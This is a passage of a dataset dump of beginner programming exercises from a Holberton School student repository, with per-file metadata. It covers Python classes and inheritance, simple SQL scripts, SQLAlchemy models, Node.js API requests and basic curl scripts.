== 0 or y == 0 or x == y:\n row.append(1)\n else:\n row.append(l[y] + l[y - 1])\n l = row\n res.append(row)\n return res\n" }, { "alpha_fraction": 0.7640449404716492, "alphanum_fraction": 0.7865168452262878, "avg_line_length": 44, "blob_id": "26e3d12eeeb4332144040bdb593d7a3435e3c540", "content_id": "0c0f636fd4e873dc20a756674d4821d84aa4589d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 89, "license_type": "no_license", "max_line_length": 49, "num_lines": 2, "path": "/0x0D-SQL_introduction/1-create_database_if_missing.sql", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "-- SQL script that creates a database if missing.\nCREATE DATABASE IF NOT EXISTS hbtn_0c_0" }, { "alpha_fraction": 0.7046979665756226, "alphanum_fraction": 0.718120813369751, "avg_line_length": 17.625, "blob_id": "a404e1872852c7bf7e74b4f3751201b8df7270ff", "content_id": "636c3bf3eb07b33c426845c185f1173748cd1b58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 149, "license_type": "no_license", "max_line_length": 57, "num_lines": 8, "path": "/0x0A-python-inheritance/5-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nBaseGeometry = __import__('5-base_geometry').BaseGeometry\n\nbg = BaseGeometry()\n\nprint(bg)\nprint(dir(bg))\nprint(dir(BaseGeometry))\n" }, { "alpha_fraction": 0.7157894968986511, "alphanum_fraction": 0.7263157963752747, "avg_line_length": 30.66666603088379, "blob_id": "24509e1291778450826aa85cfdbd2fcc85da3244", "content_id": "7711aa84ecb462686764727be2718724d47b17ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 95, "license_type": "no_license", "max_line_length": 60, "num_lines": 3, "path": "/0x10-python-network_0/2-delete.sh", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# Displays the body of the response of a curl DELETE request\ncurl -sLX DELETE \"$1\"\n" }, { "alpha_fraction": 0.4106145203113556, "alphanum_fraction": 0.4287709593772888, "avg_line_length": 25.518518447875977, "blob_id": "9af4de0a65af07e9a4e78fc4549eab5cba348f3d", "content_id": "b43db9f89d129f1c02e245661c805b6cf6799968", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 716, "license_type": "no_license", "max_line_length": 69, "num_lines": 27, "path": "/0x02-python-import_modules/100-my_calculator.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nif __name__ == \"__main__\":\n import sys\n from calculator_1 import add, sub, mul, div\n ar = sys.argv\n nbar = len(ar)\n if nbar != 4:\n print(\"Usage: ./100-my_calculator.py <a> <operator> <b>\")\n exit(1)\n res = 0\n op = ar[2]\n a = int(ar[1])\n b = int(ar[3])\n\n def operation(argument):\n switch = {\n \"+\": add(a, b),\n \"-\": sub(a, b),\n \"*\": mul(a, b),\n \"/\": div(a, b)\n }\n return (switch.get(argument))\n if ar[2] in ('+', '-', '*', '/'):\n print(\"{} {} {} = {}\".format(a, op, b, operation(op)))\n else:\n print(\"Unknown operator. Available operators: +, -, * and /\")\n exit(1)\n" }, { "alpha_fraction": 0.7062937021255493, "alphanum_fraction": 0.7342657446861267, "avg_line_length": 35, "blob_id": "5d95a3c93c1e1dde6a2e32f4af006c85905062da", "content_id": "9fa80ba072a601250ec85381507a6c866c68bf5d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 143, "license_type": "no_license", "max_line_length": 60, "num_lines": 4, "path": "/0x0E-SQL_more_queries/0-privileges.sql", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "-- SQL script that lists all privileges of the server users.\n\nSHOW GRANTS FOR 'user_0d_1'@'localhost';\nSHOW GRANTS FOR 'user_0d_2'@'localhost';" }, { "alpha_fraction": 0.4545454680919647, "alphanum_fraction": 0.47826087474823, "avg_line_length": 35.14285659790039, "blob_id": "64170f7ebe2415e56d2a2604dfa5a7e401652ae1", "content_id": "9cb6aa5a2a5aee082d1575b849f03842560a3d10", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 253, "license_type": "no_license", "max_line_length": 78, "num_lines": 7, "path": "/0x02-python-import_modules/2-args.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nif __name__ == \"__main__\":\n import sys\n nbar = len(sys.argv) - 1\n print(\"{} argument\".format(nbar)+((\":\", \"s:\")[nbar > 1], \"s.\")[nbar == 0])\n for i in range(1, nbar + 1):\n print(\"{:d}: {:s}\".format(i, sys.argv[i]))\n" }, { "alpha_fraction": 0.6770981550216675, "alphanum_fraction": 0.682788074016571, "avg_line_length": 28.29166603088379, "blob_id": "f803cb1b224792b3e33d621ee2ceed63b4fecfef", "content_id": "b2a10f153afa8568bef05e9c929c3e71ab848c2f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 703, "license_type": "no_license", "max_line_length": 78, "num_lines": 24, "path": "/0x0F-python-object_relational_mapping/model_city.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"This is the City module.\n\nContains the City class that inherits from Base = declarative_base()\n\"\"\"\nfrom sqlalchemy import Column, Integer, String\nfrom sqlalchemy.sql.schema import ForeignKey\nfrom model_state import Base\n\n\nclass City(Base):\n \"\"\"This class links to the `cities` table of our database.\n\n Attributes:\n id (int): id of the city.\n name (str): name of the city.\n state_id (int): id of the associated state.\n \"\"\"\n\n __tablename__ = 'cities'\n\n id = Column(Integer, autoincrement=True, nullable=False, primary_key=True)\n name = Column(String(128), nullable=False)\n state_id = Column(Integer, ForeignKey('states.id'), nullable=False)\n" }, { "alpha_fraction": 0.5327869057655334, "alphanum_fraction": 0.5901639461517334, "avg_line_length": 16.285715103149414, "blob_id": "31bd5e3ac45adbd7abdf7c3196b65d227202a145", "content_id": "828af7b7790037d47f90da706973006da495171c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 122, "license_type": "no_license", "max_line_length": 38, "num_lines": 7, "path": "/0x0A-python-inheritance/100-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nMyInt = __import__('100-my_int').MyInt\n\nmy_i = MyInt(3)\nprint(my_i)\nprint(my_i == 3)\nprint(my_i != 3)\n\n" }, { "alpha_fraction": 0.6326530575752258, "alphanum_fraction": 0.6349206566810608, "avg_line_length": 28.399999618530273, "blob_id": "cdfe67662c31fd0607c104e3c249b17df0ec993d", "content_id": "efd4dbe84dfbf66540c80d90eab77e5acabc81f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 441, "license_type": "no_license", "max_line_length": 76, "num_lines": 15, "path": "/0x0A-python-inheritance/101-add_attribute.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\n function that adds a new attribute to an object if it's possible.\n\"\"\"\n\n\ndef add_attribute(obj, name, value):\n \"\"\"\n function that adds a new attribute to an object if it's possible.\n \"\"\"\n types = (set, tuple, dict, int, float, str, bool)\n if not isinstance(obj, types) and name is not str and value is not None:\n obj.name = value\n else:\n raise TypeError(\"can't add new attribute\")\n" }, { "alpha_fraction": 0.7647058963775635, "alphanum_fraction": 0.7882353067398071, "avg_line_length": 42, "blob_id": "b44c2d1b0779e8557511638c7076f204213dcc43", "content_id": "961aedb335f57aa7bee5bb5a45bf7aa82441c827", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 85, "license_type": "no_license", "max_line_length": 51, "num_lines": 2, "path": "/0x0D-SQL_introduction/2-remove_database.sql", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "-- SQL script that deleteds a database if existing.\nDROP DATABASE IF EXISTS hbtn_0c_0" }, { "alpha_fraction": 0.6271929740905762, "alphanum_fraction": 0.6315789222717285, "avg_line_length": 24.33333396911621, "blob_id": "cb38af4cb7cb4a7d7773ffa5568d8e96da028791", "content_id": "f9c40d78a82440ead84daa598969bfde637ab76e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 228, "license_type": "no_license", "max_line_length": 69, "num_lines": 9, "path": "/0x14-javascript-web_scraping/3-starwars_title.js", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/node\n\nconst r = require('request');\nconst url = 'https://swapi-api.hbtn.io/api/films/' + process.argv[2];\n\nr.get(url, (err, res, body) => {\n if (err) console.log(err);\n else console.log(JSON.parse(body).title);\n});\n" }, { "alpha_fraction": 0.5723684430122375, "alphanum_fraction": 0.5986841917037964, "avg_line_length": 24.33333396911621, "blob_id": "c14b26abeac495a4770ca3bcf84e3df1d60e580b", "content_id": "331de3af8e1c50d8c92ebd400be4074ec97782af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 152, "license_type": "no_license", "max_line_length": 31, "num_lines": 6, "path": "/0x03-python-data_structures/8-multiple_returns.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef multiple_returns(sentence):\n lens = len(sentence)\n if (lens == 0):\n return (0, None)\n return (lens, sentence[0])\n" }, { "alpha_fraction": 0.5681818127632141, "alphanum_fraction": 0.5754132270812988, "avg_line_length": 28.33333396911621, "blob_id": "87b12fb961d7c49c504d3b557b12eb159617f865", "content_id": "8837d123dd8f7d7f1dd529f6e17da491b6a34bbc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 968, "license_type": "no_license", "max_line_length": 71, "num_lines": 33, "path": "/0x0A-python-inheritance/7-base_geometry.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\n class BaseGeometry (based on 6-base_geometry.py).\n\"\"\"\n\n\nclass BaseGeometry:\n \"\"\"\n class BaseGeometry (based on 6-base_geometry.py).\n \"\"\"\n def area(self):\n \"\"\"\n raises an Exception : area() is not implemented\n \"\"\"\n raise Exception(\"area() is not implemented\")\n\n def integer_validator(self, name, value):\n \"\"\"\n name is always a string\n if value is not an integer: raise a TypeError exception\n if value is less or equal to 0: raise a ValueError exception\n \"\"\"\n if type(name) is not str:\n raise TypeError(\"{} must be a string\".format(name))\n if type(value) is not int:\n raise TypeError(\"{} must be an integer\".format(name))\n if value <= 0:\n raise ValueError(\"{} must be greater than 0\".format(name))\n\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testfile(\"tests/7-base_geometry.txt\")\n" }, { "alpha_fraction": 0.6170212626457214, "alphanum_fraction": 0.664893627166748, "avg_line_length": 25.714284896850586, "blob_id": "604513af1e94b8ff6befd10bf936ec4d84748225", "content_id": "f0c32f868c90e9b9aeab4d75b9fae8f8d9117da3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 188, "license_type": "no_license", "max_line_length": 69, "num_lines": 7, "path": "/0x04-python-more_data_structures/11-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nmutiply_list_map = __import__('11-mutiply_list_map').mutiply_list_map\n\nmy_list = [1, 2, 3, 4, 6]\nnew_list = mutiply_list_map(my_list, 4)\nprint(new_list)\nprint(my_list)\n\n" }, { "alpha_fraction": 0.6730769276618958, "alphanum_fraction": 0.7307692170143127, "avg_line_length": 50, "blob_id": "4af7012854c2d3ef89e86cf77b435c079f419ca8", "content_id": "4afca64bf6ea28c479827158f9c094ec93cf2bdb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 52, "license_type": "no_license", "max_line_length": 50, "num_lines": 1, "path": "/0x13-javascript_objects_scopes_closures/README.md", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "# 0x13 - JavaScript - Objects, Scopes and Closures\n\n" }, { "alpha_fraction": 0.4507042169570923, "alphanum_fraction": 0.4647887349128723, "avg_line_length": 34.5, "blob_id": "0e4cb4d43e306f1dcea62b3e695e4c831a0c3df9", "content_id": "8d57a4a30d10ab08b7e2fa919f1a38cb6918e0d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 142, "license_type": "no_license", "max_line_length": 42, "num_lines": 4, "path": "/0x01-python-if_else_loops_functions/3-print_alphabt.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nfor x in range(ord('a'), ord('z')+1):\n if (x != ord('e') and x != ord('q')):\n print('{}'.format(chr(x)), end=\"\")\n" }, { "alpha_fraction": 0.605042040348053, "alphanum_fraction": 0.6134454011917114, "avg_line_length": 16, "blob_id": "b3645a92ddb391308e51d87954862f55814fd29e", "content_id": "bbb1e700ce04bbbc7da34a8830eb68b9d975f791", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 119, "license_type": "no_license", "max_line_length": 43, "num_lines": 7, "path": "/0x08-python-more_classes/0-rectangle.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\n\nclass Rectangle:\n \"This is my custom class for Rectangle\"\n def __init__(self):\n pass\n" }, { "alpha_fraction": 0.48148149251937866, "alphanum_fraction": 0.5308641791343689, "avg_line_length": 26, "blob_id": "963d90c37b6d03afc4c3ce18eb1e3edfe1dc6943", "content_id": "56151acc3b3bfa1fd92194037ccb5239d1d508b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 81, "license_type": "no_license", "max_line_length": 38, "num_lines": 3, "path": "/0x01-python-if_else_loops_functions/4-print_hexa.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nfor x in range(0, 99):\n print(\"{} = {}\".format(x, hex(x)))\n" }, { "alpha_fraction": 0.6896551847457886, "alphanum_fraction": 0.7011494040489197, "avg_line_length": 28, "blob_id": "d33ebbf0157b61007465460af87f2795eec6e591", "content_id": "e6ea05daf2132b2868a3913e68ea6636b1f29bfb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 87, "license_type": "no_license", "max_line_length": 36, "num_lines": 3, "path": "/0x04-python-more_data_structures/5-number_keys.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef number_keys(a_dictionary):\n return (len(list(a_dictionary)))\n" }, { "alpha_fraction": 0.6321526169776917, "alphanum_fraction": 0.6376021504402161, "avg_line_length": 35.70000076293945, "blob_id": "977bd9e368433398b17dbacf8944a24b6183e8d8", "content_id": "b5b207719312dc2d9555feaf46b2ad4c87b19384", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 367, "license_type": "no_license", "max_line_length": 66, "num_lines": 10, "path": "/0x0A-python-inheritance/4-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ninherits_from = __import__('4-inherits_from').inherits_from\n\na = True\nif inherits_from(a, int):\n print(\"{} inherited from class {}\".format(a, int.__name__))\nif inherits_from(a, bool):\n print(\"{} inherited from class {}\".format(a, bool.__name__))\nif inherits_from(a, object):\n print(\"{} inherited from class {}\".format(a, object.__name__))\n" }, { "alpha_fraction": 0.6521739363670349, "alphanum_fraction": 0.6739130616188049, "avg_line_length": 22, "blob_id": "2729bba880897f2d33060b3c6edbfb0c1d442a59", "content_id": "c562444269649911a16c1ab09023965c41645a88", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 46, "license_type": "no_license", "max_line_length": 26, "num_lines": 2, "path": "/0x02-python-import_modules/101-easy_print.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n__import__(\"pythoniscool\")\n" }, { "alpha_fraction": 0.7433155179023743, "alphanum_fraction": 0.7700534462928772, "avg_line_length": 45.5, "blob_id": "535533437010bd26427f14da6764124ae0fa7bdf", "content_id": "a471365e1364cfd8e802f2c8876a6ef8d22e4b33", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 187, "license_type": "no_license", "max_line_length": 104, "num_lines": 4, "path": "/0x0E-SQL_more_queries/6-states.sql", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "-- Create a database\nCREATE DATABASE IF NOT EXISTS hbtn_0d_usa;\nUSE hbtn_0d_usa;\nCREATE TABLE IF NOT EXISTS states(id int UNIQUE PRIMARY KEY AUTO_INCREMENT, name varchar(256) NOT NULL); \n" }, { "alpha_fraction": 0.5585106611251831, "alphanum_fraction": 0.5691489577293396, "avg_line_length": 21.117647171020508, "blob_id": "18df07689bc1ee4155e0d1b3117a1a6da124caaa", "content_id": "676302e0ec607e527da9bceda6d3e7be325602fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 376, "license_type": "no_license", "max_line_length": 54, "num_lines": 17, "path": "/0x14-javascript-web_scraping/4-starwars_count.js", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/node\n\nconst r = require('request');\n\nr.get(process.argv[2], (err, res, body) => {\n if (err) console.log(err);\n else {\n let count = 0;\n const movies = JSON.parse(body).results;\n movies.forEach(movie => {\n movie.characters.forEach(character => {\n if (character.includes('people/18/')) count++;\n });\n });\n console.log(count);\n }\n});\n" }, { "alpha_fraction": 0.6556291580200195, "alphanum_fraction": 0.7218543291091919, "avg_line_length": 49.33333206176758, "blob_id": "80479215903b5ce822fe2b1be2baa9f228d57eb9", "content_id": "0339a9ca39fb4fac19f15f5cd41b0fcaafd1e05b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 151, "license_type": "no_license", "max_line_length": 79, "num_lines": 3, "path": "/0x10-python-network_0/102-catch_me.sh", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# Displays the body of the response of a curl POST request\ncurl -sLX PUT -d \"user_id=98\" -H \"Origin:HolbertonSchool\" 0.0.0.0:5000/catch_me\n" }, { "alpha_fraction": 0.6388888955116272, "alphanum_fraction": 0.6805555820465088, "avg_line_length": 17, "blob_id": "2bdc5102f480d6cedea36ae688a8e5cf5ea3333a", "content_id": "549f04c6734926115ab6971409c2f30c91d89b93", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 72, "license_type": "no_license", "max_line_length": 24, "num_lines": 4, "path": "/0x00-python-hello_world/5-print_string.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nstr = \"Holberton School\"\nprint(3*str)\nprint(str[:9])\n" }, { "alpha_fraction": 0.6746031641960144, "alphanum_fraction": 0.682539701461792, "avg_line_length": 41, "blob_id": "438b8d20791db0570958604d37693158b3d3b499", "content_id": "bf400c5ae567670fa287966f75b81945c40c84b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 126, "license_type": "no_license", "max_line_length": 65, "num_lines": 3, "path": "/0x10-python-network_0/0-body_size.sh", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# Displays the size of the body of the response of a curl request\ncurl -so /dev/null -w '%{size_download}\\n' \"$1\"\n" }, { "alpha_fraction": 0.6478405594825745, "alphanum_fraction": 0.6566998958587646, "avg_line_length": 24.799999237060547, "blob_id": "b29976c144b1e85a81333d345b7f7276039fed3e", "content_id": "d374ffda51fdcb94a78066b96a0bc04572bb9ceb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 903, "license_type": "no_license", "max_line_length": 76, "num_lines": 35, "path": "/0x0F-python-object_relational_mapping/102-relationship_cities_states_list.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\nScript that lists all `City` objects from the database `hbtn_0e_101_usa`.\n\nArguments:\n mysql username (str)\n mysql password (str)\n database name (str)\n\"\"\"\n\nimport sys\nfrom sqlalchemy import (create_engine)\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy.engine.url import URL\nfrom relationship_state import Base, State\nfrom relationship_city import City\n\n\nif __name__ == \"__main__\":\n mySQL_u = sys.argv[1]\n mySQL_p = sys.argv[2]\n db_name = sys.argv[3]\n\n url = {'drivername': 'mysql+mysqldb', 'host': 'localhost',\n 'username': mySQL_u, 'password': mySQL_p, 'database': db_name}\n\n engine = create_engine(URL(**url), pool_pre_ping=True)\n Base.metadata.create_all(engine)\n\n session = Session(bind=engine)\n\n cities = session.query(City)\n\n for city in cities:\n print(\"{}: {} -> {}\".format(city.id, city.name, city.state.name))\n" }, { "alpha_fraction": 0.6022727489471436, "alphanum_fraction": 0.6193181872367859, "avg_line_length": 28.33333396911621, "blob_id": "793cf9283eee1e7481f7a7425f4e42dfa6c5ec17", "content_id": "dcd4e8ca84bbe0a0b5a3cf6cdaf4040f751a60cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 176, "license_type": "no_license", "max_line_length": 37, "num_lines": 6, "path": "/0x04-python-more_data_structures/9-multiply_by_2.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef multiply_by_2(a_dictionary):\n new_dictionary = {}\n for i, v in a_dictionary.items():\n new_dictionary[i] = v * 2\n return (new_dictionary)\n" }, { "alpha_fraction": 0.4590747356414795, "alphanum_fraction": 0.4661921560764313, "avg_line_length": 34.125, "blob_id": "bf3528ef71c0188ac21eb0141796b0badc30e53b", "content_id": "12a1aed7ed77404d2466ac098d8722fb38b03220", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 281, "license_type": "no_license", "max_line_length": 54, "num_lines": 8, "path": "/0x03-python-data_structures/6-print_matrix_integer.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef print_matrix_integer(matrix=[[]]):\n for i in range(len(matrix)):\n for b in range(len(matrix[i])):\n print(\"{:d}\".format(matrix[i][b]), end=\"\")\n if (b != len(matrix[i]) - 1):\n print(\" \", end=\"\")\n print(\"\")\n" }, { "alpha_fraction": 0.38509318232536316, "alphanum_fraction": 0.4037266969680786, "avg_line_length": 16.88888931274414, "blob_id": "66be6eb133ac693f4d9ae9f44bb7647f2d5008ae", "content_id": "5b67e781d475a87c6f5ca78bd6a3d79cd1e32a16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 161, "license_type": "no_license", "max_line_length": 27, "num_lines": 9, "path": "/0x01-python-if_else_loops_functions/101-remove_char_at.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\ndef remove_char_at(str, n):\n cpy = \"\"\n c = 0\n for i in str:\n if(c != n):\n cpy += i\n c += 1\n return (cpy)\n" }, { "alpha_fraction": 0.5571428537368774, "alphanum_fraction": 0.6285714507102966, "avg_line_length": 27, "blob_id": "afacdc68f6c859e5dc4fa711d8d38637740087e7", "content_id": "0297c0e71e66e3972b4f0bd7f1641ed21575d246", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 140, "license_type": "no_license", "max_line_length": 53, "num_lines": 5, "path": "/0x07-python-test_driven_development/6-main.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nmax_integer = __import__('6-max_integer').max_integer\n\nprint(max_integer([1, 2, 3, 4]))\nprint(max_integer([1, 3, 4, 2]))\n" }, { "alpha_fraction": 0.6086956262588501, "alphanum_fraction": 0.782608687877655, "avg_line_length": 23, "blob_id": "64682d6f03ba3861ae9235786b4abc7269dc9d25", "content_id": "50057c3791685a7e0a8f91292807f1a9b98e5ee6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 23, "license_type": "no_license", "max_line_length": 23, "num_lines": 1, "path": "/0x11-python-network_1/README.md", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "# 0x11-python-network_1" }, { "alpha_fraction": 0.6569767594337463, "alphanum_fraction": 0.6598837375640869, "avg_line_length": 25.461538314819336, "blob_id": "7fc89f21c34089f03bdb9fa2d210cb0bff4075e9", "content_id": "d76f96363f8d9030463720bd0e9ab5c2fb30aab5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 344, "license_type": "no_license", "max_line_length": 74, "num_lines": 13, "path": "/0x0A-python-inheritance/2-is_same_class.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\n function that returns True if the object is exactly an instance of the\n specified <class> otherwise False.\n\"\"\"\n\n\ndef is_same_class(obj, a_class):\n \"\"\"\n function that returns True if the object is exactly an instance of\n the specified class otherwise False.\n \"\"\"\n return type(obj) == a_class\n" }, { "alpha_fraction": 0.5708333253860474, "alphanum_fraction": 0.574999988079071, "avg_line_length": 16.14285659790039, "blob_id": "d3edeedc1c55ba9635c69a1b61f52d1cdbb3c257", "content_id": "68706ba5d0be869d80ae9e9ed1335036d50fd89c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 240, "license_type": "no_license", "max_line_length": 59, "num_lines": 14, "path": "/0x0A-python-inheritance/0-lookup.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\"\"\"\n function that returns the list of available attributes\n and methods of an object\n\"\"\"\n\n\ndef lookup(obj):\n \"\"\"\n return a list object\n \"\"\"\n if (obj is None):\n return\n return (dir(obj))\n" }, { "alpha_fraction": 0.48096632957458496, "alphanum_fraction": 0.4941434860229492, "avg_line_length": 26.87755012512207, "blob_id": "adb9f042dd18a39efd0f49a69e986c16e9189553", "content_id": "200f2285ea26d4fcb772aa90d69fa0f34b051fce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1366, "license_type": "no_license", "max_line_length": 82, "num_lines": 49, "path": "/0x06-python-classes/6-square.py", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nclass Square:\n def __init__(self, size=0, position=(0, 0)):\n self.size = size\n self.position = position\n\n @property\n def size(self):\n return self.__size\n\n @size.setter\n def size(self, value):\n if type(value) != int:\n raise TypeError(\"size must be an integer\")\n if value >= 0:\n self.__size = value\n else:\n raise ValueError(\"size must be >= 0\")\n\n @property\n def position(self):\n return self.__position\n\n @position.setter\n def position(self, value):\n if (type(value) is not tuple or\n all(isinstance(n, int) for n in value) is False or\n len(value) != 2 or\n all((n < 0) for n in value) is True):\n raise TypeError(\"position must be a tuple of 2 positive integers\")\n else:\n self.__position = value\n\n def area(self):\n size = self.size\n return size * size\n\n def my_print(self):\n size = self.size\n position = self.position\n if (size == 0):\n print(\"\")\n else:\n if position[1] > 0:\n print(\"\\n\" * position[1], end=\"\")\n for i in range(size):\n if position[1] <= 0 or position[0] > 0:\n print(\" \" * position[0], end=\"\")\n print(\"#\" * size)\n" }, { "alpha_fraction": 0.7648648619651794, "alphanum_fraction": 0.7675675749778748, "avg_line_length": 29.91666603088379, "blob_id": "6fc90bfd9878f540925876cdadb088dded00e29b", "content_id": "a1281fadd141d7e799055168fc81741cf2b57e17", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 370, "license_type": "no_license", "max_line_length": 85, "num_lines": 12, "path": "/0x0E-SQL_more_queries/100-not_my_genres.sql", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "-- uses the hbtn_0d_tvshows database to list all genres not linked to the show Dexter\nSELECT tv_genres.name\nFROM tv_genres\nWHERE tv_genres.id NOT IN\n(SELECT tv_genres.id\nFROM tv_genres\nINNER JOIN tv_show_genres\nON tv_genres.id = tv_show_genres.genre_id\nINNER JOIN tv_shows\nON tv_show_genres.show_id = tv_shows.id\nWHERE tv_shows.title = \"Dexter\")\nORDER BY tv_genres.name;" }, { "alpha_fraction": 0.5483871102333069, "alphanum_fraction": 0.6451612710952759, "avg_line_length": 29, "blob_id": "9c1e57ee40533e6aded637371d6de4aa3528d29d", "content_id": "8af12d9761df82e0e424d2a5613896a63bb58b55", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 31, "license_type": "no_license", "max_line_length": 29, "num_lines": 1, "path": "/0x12-javascript-warm_up/README.md", "repo_name": "Brandixitor/holbertonschool-higher_level_programming", "src_encoding": "UTF-8", "text": "# 0x12 - JavaScript - Warm up\n\n" }, { "alpha_fraction": 0.5982142686843872, "alphanum_fraction": 0.625, "avg_line_length": 12.176470756530762, "blob_id": "d49b62de24437009d7264a5f6e1a2eb02c3ad94f", "content_id": 